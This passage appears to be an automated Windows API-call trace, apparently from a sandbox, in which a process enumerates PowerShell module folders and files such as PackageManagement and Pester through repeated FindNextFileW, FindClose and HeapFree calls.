cAlternateFileName="")) returned 0 [0263.457] FindClose (in: hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0263.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0263.458] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1 [0263.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0263.472] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0 [0263.472] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0263.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0263.472] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0263.472] FindClose (in: hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0263.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0263.472] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1 [0263.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0263.473] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0263.474] FindClose (in: hFindFile=0x6ebb30 | out: hFindFile=0x6ebb30) returned 1 [0263.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0263.474] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1 [0263.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0263.474] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0263.474] FindClose (in: hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0263.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0263.474] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1 [0263.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0263.475] FindNextFileW (in: hFindFile=0x6ebc70, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0263.475] FindClose (in: hFindFile=0x6ebc70 | out: hFindFile=0x6ebc70) returned 1 [0263.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0263.475] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0263.475] FindClose (in: hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0263.476] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0263.476] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1 [0263.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0263.477] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0263.477] FindClose (in: hFindFile=0x6ebb70 | out: hFindFile=0x6ebb70) returned 1 [0263.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0263.477] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0263.477] FindClose (in: hFindFile=0x6ebb30 | out: hFindFile=0x6ebb30) returned 1 [0263.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0263.477] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0 [0263.477] FindClose (in: hFindFile=0x6ebaf0 | out: hFindFile=0x6ebaf0) returned 1 [0263.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0263.477] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0 [0263.477] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0263.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0263.478] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0263.478] FindClose (in: hFindFile=0x6ebbb0 | out: hFindFile=0x6ebbb0) returned 1 [0263.479] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0263.479] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0 [0263.479] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0263.479] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0263.479] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0263.479] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0263.479] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0263.479] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0263.517] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0263.517] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0263.517] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0263.517] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0263.517] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0263.518] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0263.518] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1 [0263.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0263.761] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0263.793] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0263.793] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0264.001] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0264.001] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0264.001] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0264.001] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0264.001] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0264.001] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0264.001] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0264.003] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0264.003] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0264.004] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.004] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0264.007] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.007] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0264.007] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0264.007] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0264.007] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0264.007] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0264.007] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1 [0264.008] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0264.008] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0264.008] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.008] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0264.008] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.008] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0264.008] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0264.008] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0264.008] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0264.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, 